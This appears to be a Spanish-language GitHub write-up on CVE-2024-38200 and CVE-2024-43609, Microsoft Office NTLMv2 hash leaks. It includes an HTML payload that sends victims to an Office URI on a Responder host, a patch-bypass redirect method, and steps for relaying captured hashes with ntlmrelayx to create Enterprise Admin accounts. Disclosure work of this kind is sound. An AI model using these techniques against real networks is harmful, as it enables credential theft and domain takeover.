passtheticket/cve-2024-38200CVE-2024-38200 & CVE-2024-43609 - Vulnerabilidad de divulgación NTLMv2 de Microsoft Office
El método de captura del hash NTLMv2 a través de HTTP no fue corregido. El valor del hash NTLMv2 todavía se puede obtener a través de HTTP y retransmitirse a LDAP o ADCS. MSRC declaró que esta situación "tal como se presenta, parece ser parte del diseño actual".
Incluso si esta vulnerabilidad se corrige, como se indica en la sección Autenticación integrada de Windows, el valor del hash aún se puede obtener y retransmitir con la configuración predeterminada.
Anteriormente, se compartió un método para capturar hashes NTLMv2 a través de SMB utilizando los esquemas de URI de Office. La idea principal era simple. Envía la URL del siguiente archivo HTML a la víctima y captura el hash NTLMv2 a través de SMB. ENLACE
<!DOCTYPE html>
<html>
<script>
location.href = 'ms-word:ofe|u|\\<responder ip>\leak\leak.docx';
</script>
</html>
Este es el punto que me inspiró. Si observamos la página Esquemas de URI de Office, podemos ver el uso del protocolo https:// dentro del esquema de URI. Esta situación indica que http:// también podría utilizarse potencialmente. Capturar el hash NTLMv2 a través de HTTP es más ventajoso que capturarlo a través de SMB para realizar un ataque de retransmisión NTLM contra un servidor controlador de dominio Gráfico de retransmisión.
Cuando usé la URI ms-word:ofe|u|http://test.local:8080/leak/leak.docx contra Office 2016 MSO (16.0.4266.1001) 32-bit, apareció un cuadro de advertencia para proteger al usuario de actividades maliciosas, pero no puedo decir lo mismo para Microsoft 365 Office y Office 2019. Estas versiones acceden a un archivo de Office remoto sin advertencia y pueden ser explotadas para capturar el hash NTLMv2 a través de los protocolos SMB y HTTP.
Descubrí que el parche para CVE-2024-38200 no se aplicó correctamente. Después de que se publicó el parche, probé la vulnerabilidad contra Office 2019 Volume Licensed: Version 1808 (Build 10413.20020) y Microsoft 365 MSO 2408 Build 16.0.17928.20114 y determiné que la vulnerabilidad aún puede explotarse como se muestra a continuación CVE-2024-43609.
Podemos redirigir una solicitud HTTP a una ruta UNC con redirección 302 cuando una aplicación de Office realiza una solicitud a través de esquemas de URI de Office (p. ej., ms-word:ofe|u|http://172.20.10.8:8080/leak.docx). El script uncredirect.py maneja la solicitud HTTP que se envía con un esquema de URI de MS Office y la redirige a una ruta UNC que incluye la dirección IP de Responder. Esta situación haría posible capturar el hash NTLMv2 a través de SMB y omitir la restricción de seguridad para la URI ms-word:ofe|u|\\<responder ip>\leak\leak.docx.
uncredirect.py y responder.office.html al usuario víctima.https://github.com/user-attachments/assets/2d2d19ad-6142-4b57-8958-16ba2cd62f04
Capturar el hash NTLMv2 a través de HTTP es más ventajoso que a través de SMB para retransmitir a LDAP. Cuando se solicita un archivo mediante una URI de Office, el hash NTLMv2 se puede obtener a través de HTTP sin redirigir a una ruta UNC mediante una redirección 302. Este método de explotación no se puede realizar a través de Internet porque, a menos que haya una configuración incorrecta en Opciones de Internet, la autenticación NTLM no se producirá a través de HTTP para un host fuera de la red corporativa.
Sin embargo, creo que este es un método eficaz para ataques de retransmisión y escalada de privilegios.
La configuración de "Opciones de Internet" afecta el comportamiento de autenticación NTLM de las aplicaciones de Office. Podemos verlo con algunos ejemplos. Supongamos que estamos usando el formato de URI ms-excel:ofe|u|http://192.168.1.7/leak.xlsx para capturar el hash NTLMv2.
Cuando una de las GPO enumeradas a continuación se aplica a una máquina víctima que está unida al dominio, la aplicación de Office realiza la autenticación automáticamente.
Inicio de sesión automático con nombre de usuario y contraseña actuales está configurado para Autenticación de usuario en Zona de InternetIntranet local (p. ej., 192.168.*.* , 192.168.0-255.* , 192.168.1.7)Sitios de confianza (p. ej., 192.168.*.* , 192.168.0-255.* , 192.168.1.7) y Inicio de sesión automático con nombre de usuario y contraseña actuales está configurado para Autenticación de usuario en la zona de Sitios de confianza
En el caso de que se aplique una de las GPO mencionadas anteriormente, después de que el usuario víctima haga clic en la URI, la aplicación de Office obtendrá el archivo leak.docx del servidor del atacante y se obtendrá el hash NTLMv2 porque la GPO aplicada hace que la autenticación NTLM se produzca automáticamente.
Escenario de ejemplo para abusar de la GPO:
Después de configurar la URI de Office con la dirección IP (p. ej., ms-excel:ofe|u|http://192.168.1.7/leak.xlsx), podemos enviar la URL del archivo office.html a un usuario con privilegios de administrador de dominio y retransmitir el hash capturado al servidor LDAP(S) usando ntlmrelayx. ntlmrelayx creará un nuevo usuario y lo agregará al grupo Enterprise Admins con solo hacer clic en el botón "Abrir".
Nota:
Los sitios agregados mediante GPO se pueden listar usando las siguientes claves de registro.
Get-ItemProperty "hkcu:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
Get-ItemProperty "hklm:\Software\policies\microsoft\windows\currentversion\internet settings\ZoneMapKey"
0: Internet | 1: Local Intranet | 2: Trusted Sites | 3: Restricted Sites
Si no se aplica una de las GPO mencionadas anteriormente, la autenticación NTLM no se producirá automáticamente. Sin embargo, si agregamos un registro DNS A y usamos este registro dentro de la URI de Office, Windows considerará el nombre de host como parte de la Zona de Intranet. De esta manera, la autenticación NTLMv2 se produce automáticamente y un usuario estándar puede escalar privilegios sin necesidad de una GPO mal configurada. Cualquier usuario de dominio con privilegios estándar puede agregar un registro DNS inexistente por lo que este ataque funciona con la configuración predeterminada para un usuario de dominio.
